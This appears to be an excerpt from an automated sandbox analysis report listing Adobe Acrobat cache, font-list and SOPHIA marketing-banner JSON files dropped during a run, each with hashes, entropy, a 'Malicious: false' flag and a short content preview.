C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359794395807513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJM3g98kUwPeUkwRe9:YvXKXLhoyGceGMbLUkee9
MD5:	A9CB9A3E119098C9A1E94593BC7734C5
SHA1:	1730BE160D24D34E53154A4C094217605AA767DC
SHA-256:	6102E50F48877D8F6F4E256872193E6B325BD22ACCD012BB258D041BB3B19349
SHA-512:	F75DA6BE23587F9477475FF6AF53B12F1BB712FFD17DF0FF1E257CAC97C6337A36179F678B5288B60185AE4825D1BE049A86F8115734B7D92DDF0A36F301D0DD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.315213754719967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfBoTfXpnrPeUkwRe9:YvXKXLhoyGceGWTfXcUkee9
MD5:	A55B07AB5D64B454895D5AFB31265556
SHA1:	5F21EDA100A6DEC0CD08B73889F5F88FF8F361C8
SHA-256:	7DCB2C57E147F30C805671CF17E5C896DB29C63041D42A949E545E521E11EF7F
SHA-512:	8472B4B73576890ED2004C857DEB2C2101861E51DA125BDD0D4D62D84EA8F91497B42EFB1BBC9DA109A7DE4FFEDF5FFCE94EFD5BEED858320C57D7815E41E174
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292379108565148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfBD2G6UpnrPeUkwRe9:YvXKXLhoyGceGR22cUkee9
MD5:	6283F5C5601C60639761CDD05964AC09
SHA1:	00C60434032AC4CF886D0A5FE5EC9537F9239081
SHA-256:	BEB794EF442E242932EB7E5938237856E66B08E7C7AF5641A7968875B620DB65
SHA-512:	D7CC0D5D316A38E768998DC60C6772F4B6D9FEF63CE1A9B5FB348C025F4D8534C455168EF753B5AB28FE7E2F10292C3978D5C00867339DD84F27C3C1D7D8380B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.339691743734268
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfPmwrPeUkwRe9:YvXKXLhoyGceGH56Ukee9
MD5:	3F662AA5F9C888A017CBF376B6F166ED
SHA1:	282056E2EF43EF9E238CA5195CCD226DFD9A3466
SHA-256:	A862812E4A7A1E7130649676DC8B763B89975753444A93D68018A007C6A9221A
SHA-512:	4A82471AC70A8BDA97D6D21F02B597A63F29D102742532475BD2029BF2F0F66D8F9AC5E7D8C09ED5CC0A9C5076632353883759C6BCFFED7BBC7DF8F14F883B9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684152252179371
Encrypted:	false
SSDEEP:	24:Yv6XdxrpLgE9cQx8LennAvzBvkn0RCmK8czOCCSo1:Yv4Zhgy6SAFv5Ah8cv/o1
MD5:	3BBC00E9E26130C626941F88CB7A58A2
SHA1:	C3907A282A2CFAE6EB2D3FD3F0B2F5EBD403E484
SHA-256:	EEA7E434393C8FEBD3A708F9ACEFDE54CEE04DC93C1A8B0E854A3D28328D0EF3
SHA-512:	03E71131CC42CA72669BC63F76BAD12D5E8E1035F29F5A8481968EDCC9B5CD2634CBBB4CBBBEC8DA265B01257B6FDA2D2B4D3895BE450C0C0E7084C9F2D74283
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2874984764588895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJf8dPeUkwRe9:YvXKXLhoyGceGU8Ukee9
MD5:	3C4464CB6B781F131EF760F25E4586FE
SHA1:	9321793F253B8F820E296FEA28DD7EF4C216AF76
SHA-256:	31B991F01ED7F0CDCFAFAFE80C47B3A330F24C0BDF4878B478979D95C6131E55
SHA-512:	374745794CB6001076813FFAD4546A07994221368055C72AE3E433CB6CFFAD8C3BF460E23C1211352C4E545EACD7D65F7880D520E0FF30ACCD10D9ADBB1FDD49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.291169765084275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfQ1rPeUkwRe9:YvXKXLhoyGceGY16Ukee9
MD5:	825D1204D02A8DCDA443D8573A53BDDD
SHA1:	9839AEE6330E26E6F8FAE2D5FEE04E2DC99F568A
SHA-256:	BB2C5F46381EC5CAAFE21ED4846D9D645CD0DFE93397860C3866AF240FF8A39B
SHA-512:	E550DFB503766648EF564EDA1390B30E80C17B5CD93477AD55EA118951D7728DD20F0DF6E66A3703885900F19789C4A3631D0D2ADECE09304BA14B52E2C32624
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29730245617593
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfFldPeUkwRe9:YvXKXLhoyGceGz8Ukee9
MD5:	669E84E4636F28AEFCDDD8E9AE10221E
SHA1:	2149F776C30380842D2540A54529C607935F5DEB
SHA-256:	E2355525D5E3D81E9FAD2300A8DB80EF42064A62E088B67A947626670C529B8F
SHA-512:	531DE763702D78C1FCDD2E7641BC4B4CB715C0114759362504CFB77900E1C0E8F750E52F9CB22F18965B24C1AFAD00A8B9FC811604DE1A64283AED0BA2333858
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3156043933847315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfzdPeUkwRe9:YvXKXLhoyGceGb8Ukee9
MD5:	DCBBC6CC7D37BABCFF8A6505E6F7628D
SHA1:	0123BABBC569A98062DD850D83828B9533003763
SHA-256:	394B5A521098E97CA9258BDD394EA1E466767E0FEAB71FAD14A8C9EB3E24F468
SHA-512:	156961A58AD9B22090101564D9754173C0E82D889DEF8093770AFBA2DAA8C21DEA0BAF016DA6C40C4D03624361AC6D3800AC553FC8DA26426DC63453EA12FC79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2964475674371645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfYdPeUkwRe9:YvXKXLhoyGceGg8Ukee9
MD5:	51AE6F6550C77D48246ED242274FEC37
SHA1:	F51C3C55A40BBABB7B40C06ADF25DB4BB5E4A17A
SHA-256:	E6BDC82690B46E0754FBD9A4ACB5EB0D4CEBD9C5823E9F917AC257F3CD30B226
SHA-512:	AB2CFC29A00D21EFE7F5CB74EE47D764CD57181396708540DF752BA95F8729056D0073CEDAC0EDD7E9B8E8E03DEC4B7D32FE16FEE9B5A854ABF76E26CB9704B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282117695900188
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJf+dPeUkwRe9:YvXKXLhoyGceG28Ukee9
MD5:	67BABD1247D0AEE7F27CA4C997220393
SHA1:	1EA967607D18EEBB888F7C808C08CB293446B72B
SHA-256:	2BCDC6C96DA51412650EAB46E930FFC17ED62A47DC29F958EC1F008850BDE539
SHA-512:	660B4D8B48F069ABC649C4D05B408D5477E6F8202DA34364D72CDC55AA2F8D031C29B5302A6625CA875620E15FAC7FFE34E9E467D46262F4B6569806E8F13ACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280019080455103
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfbPtdPeUkwRe9:YvXKXLhoyGceGDV8Ukee9
MD5:	A8C8BD1E1FADF9DEF880D9FB943747E2
SHA1:	6A3933B4219CA9DC63480148CD7377C22D5FF777
SHA-256:	EEFD0445E258DF7F1C31685931B3D597D0FD83E7F451CA5327E7E86B9E8723CA
SHA-512:	498A1F5C5AE7938D1EC4D1042C069A4BCE38E99EE479352B6C57663B58FA341BD17B63AF04647306EA7DA89BF0F54C21B4ED2FC48AFC9496255F100B93118C93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.283647095383923
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJf21rPeUkwRe9:YvXKXLhoyGceG+16Ukee9
MD5:	E7E719D3FB6573B28264598E9F4BC2EA
SHA1:	93F293D0177C9C7B57F9F65187E4F705115E2FF6
SHA-256:	843C9345298486263181A77491F66CF9C3CBAC2CB5B895F7ADB568E9E375CD91
SHA-512:	070E524228EFF88712C6B3853F54063CD29DFCDD9F11C8C7549D99A725860D9631AEFBB5571F9F9E90A63185A8AE92170D48D5A359CA0AA59255F63A13079242
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659044751007574
Encrypted:	false
SSDEEP:	24:Yv6XdxLamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo1:Yv41BgkDMUJUAh8cvMo1
MD5:	3974BF81B89FE2A16B757FBF3041E5F0
SHA1:	F89AABC84FD1C5E49739720F9486984C5983B687
SHA-256:	1F88F787D7BF6F723340124063E466B70751A054CC53E2A866703E76945E40C8
SHA-512:	6BCBE24765800F22604193D655385C7A66E865AED60C7B5AC8C06A4908D825E904AF27845CECA451963A440F3F857F9C21C796DD67C763B1AACD279AA16D0A75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.258070054733972
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJfshHHrPeUkwRe9:YvXKXLhoyGceGUUUkee9
MD5:	3D12AA0D2A9B61ECCC1D349977E0B282
SHA1:	36D96C5573E49FCCDFD86CB9D31339FDE37DD1E0
SHA-256:	EBF4E91073410501CA1B410703222CF6FC4AE05AC2359B72F6200B41FDFAEFA7
SHA-512:	4570DF45FD5987FD422358291F22CDC7AEF4744F0D2840A53C300BEC62EB1F257EFECE3918013DB8548430C21F32CF7F9243A29D0ED2993DE5B8AD74F362A499
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.270047670003684
Encrypted:	false
SSDEEP:	6:YEQXJ2HXLhoyGnZiQ0Yh9KoAvJTqgFCrPeUkwRe9:YvXKXLhoyGceGTq16Ukee9
MD5:	917289B7816AB53CA1807F8C2927BEE3
SHA1:	5A37A2EA439B143C430C0FF284B28D2BF1C86F88
SHA-256:	3D698D16A93E96AB7CF46D87F175C78DB2268BDE909426E27E8A4A3A77B79DD5
SHA-512:	1386484A649652E5184FEB265E8A6EEBF4F66CB65085960051C32148858626C5E625A3AF05390ACC7B6C9C278496C5DE0A65A89101DC3E4C5AD4CD803BC6E130
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c53c6ad9-b4cd-44a3-b6d6-0d3b7ca73085","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736747519126,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12980194039164
Encrypted:	false
SSDEEP:	24:Y1lEmanVt3ayfURDMXVNDGOj2cj0SGtaMJAW2Zu2LS4CT4Dxh0MjtYpBL15A9ZWH:Y1lYuZUJ2uOaIPBSS0xh0MmvBe9q
MD5:	B83020E4EA017B2F30445570B6A1F523
SHA1:	B7BC16410E31008C4413073896C25808BC7E3492
SHA-256:	19ACB8820A14B1C521326505C3D4AED3500D3E5DDDFB5CE6378E82BC0E4CB365
SHA-512:	B7F50C5A8E7790CA7F504E0AC69F67A6D921CF82DE181485D1A06946BB0BF8FD7D72F067D215D2CBB34E84E30BFFFE9E31F0D94379B93AAA92B10C72AB17B160
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b582f5540d1ce29479a7dacbee370a6d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572033000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"780e89b4d49952f0dd7bd6d2bfda612e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736572033000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"1926cd36b3a7cceb242ed76b513d6b33","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736572033000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e3326c77b8de5a678fdd9da5d41f675a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736572033000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"edbd8d67e7e51489a606dcd39326ea69","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736572033000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"cb539f7354aac9450e5fed3f90d43318","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1455033194146265
Encrypted:	false
